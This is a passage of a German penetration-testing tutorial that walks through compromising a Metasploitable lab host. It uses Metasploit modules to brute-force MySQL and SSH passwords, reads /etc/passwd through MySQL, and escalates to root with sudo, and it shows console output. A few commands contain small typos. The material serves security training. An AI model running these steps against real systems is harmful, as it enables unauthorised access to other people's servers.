Mit dem Brecheisen

Das erste Beispiel nimmt MySQL ins Visier. Ein offener Port 3306 auf der LAN-IP-Adresse mag nicht unbedingt üblich sein, da sicherheitsbewusste Admins in den meisten Fällen den Datenbankserver lediglich an »localhost« binden. Vielfach dient diese Information Angreifern bereits als erster Hinweis auf eine fehlerhafte Konfiguration, also ein lohnendes Ziel. Im Internet finden sich umfangreiche Wordlists für die auszuführenden Versuche. Die folgenden Befehle an der Metasploit-Konsole setzen voraus, dass der Tester eine solche Datei in »/tmp/wordlist« gespeichert hat:

use scanner/mysql/mysql_login
show options
set RHOSTS 192.168.0.189
set PASS_FILE /tmp/wordlist
set USERNAME root
exploit
(...)
[*] 192.168.0.189:3306 Trying username:
'root' with password:'roosting'
[*] 192.168.0.189:3306 failed to login as 
'root' with password 'roosting'
(...)
[*] 192.168.0.189:3306 Trying username:
'root' with password:'root'
[+] 192.168.0.189:3306 - SUCCESSFUL LOGIN 
'root' : 'root'
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

Die gefundenen Login-Informationen überprüft anschließend »mysql -u 192.168.0.189 -u root -p« für die MySQL-Datenbank.

Nach der Eingabe des gefundenen Passworts meldet sich MySQL auf der Konsole. Hier gibt der Befehl »select load_file (\'/etc/passwd\');« die Informationen der »passwd«-Datei aus. Listing 2 zeigt, wie sich damit alle vorhandenen Benutzer ermitteln lassen.

01 select load_file('/etc/passwd');
02 (...)
03 sshd:x:104:65534::/var/run/sshd:/usr/sbin/nologin
04 msfadmin:x:1000:1000:msfadmin,,,:/home/msfadmin:/bin/bash
05 bind:x:105:113::/var/cache/bind:/bin/false
06 postfix:x:106:115::/var/spool/postfix:/bin/false
07 ftp:x:107:65534::/home/ftp:/bin/false
08 postgres:x:108:117:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
09 mysql:x:109:118:MySQL Server,,,:/var/lib/mysql:/bin/false
10 tomcat55:x:110:65534::/usr/share/tomcat5.5:/bin/false
11 distccd:x:111:65534::/:/bin/false
12 user:x:1001:1001:just a user,111,,:/home/user:/bin/bash
13 service:x:1002:1002:,,,:/home/service:/bin/bash
14 telnetd:x:112:120::/nonexistent:/bin/false
15 proftpd:x:113:65534::/var/run/proftpd:/bin/false

Drei Benutzer

Im Beispiel sind offensichtlich drei Benutzerkonten vorhanden: »msfadmin«, »user« und »service«. Wahrscheinlich hat »msfadmin« den Server installiert, die UID »1000« lässt dies zumindest vermuten. Das macht diesen Account zum Ziel des ersten Bruteforce-Angriffs auf die SSH:

use scanner/ssh/ssh_login
show options
set RHOSTS 192.168.0.189
set PASS_FILE /tmp/wordlist
set USERNAME msfadmin
exploit

Lässt sich das Passwort mit der eingesetzten Wordlist nicht ermitteln, rücken zunächst die anderen Accounts ins Visier: Ein neuer Angriff gilt der UID »1001« des Benutzers »user«. Im Exploit-Modul ersetzt der Tester lediglich »msfadmin« durch »user« - und schon ist das Passwort »user« gefunden:

[*] 192.168.0.189:22 - SSH - Trying: 
username: 'user' with password: 'useless'
[-] 192.168.0.189:22 - SSH - Failed: 
'user':'useless'
(...)
[*] 192.168.0.189:22 - SSH - Trying: 
username: 'user' with password: 'user'
[*] Command shell session 1 opened 
(192.168.0.2:41714 -> 192.168.0.189:22)
 at Sat Jun 12 13:18:15 +0200 2010

Gleichzeitig stellt Metasploit eine Session her, aber auch ein manuelles SSH-Login funktioniert:

ssh user:@192.168.0.189

Jedoch erfolgt dies mit der UID »1001«, noch nicht als Root. Der Versuch, mit »sudo su« oder »sudo -i root« Rechte zu erlangen, scheitert, dieser Benutzer besitzt also keine Superuser-Do-Rechte. Der Tester verlässt die SSH-Verbindung mit »exit« und versucht erneut sich mit »ssh msfadmin@192.168.0.189« als Benutzer »msfadmin« anzumelden.

Die vorher ermittelten erfolgreichen Kombinationen »root«/»root« und »user«/»user« laden geradezu ein, die Kombination »msfadmin«/»msfadmin« zu testen. Der Versuch ist erfolgreich, ein abschließendes, erfolgreiches »sudo su« führt die gewünschte Priviledge Escalation durch, der simulierte Angreifer hat das System erfolgreich übernommen.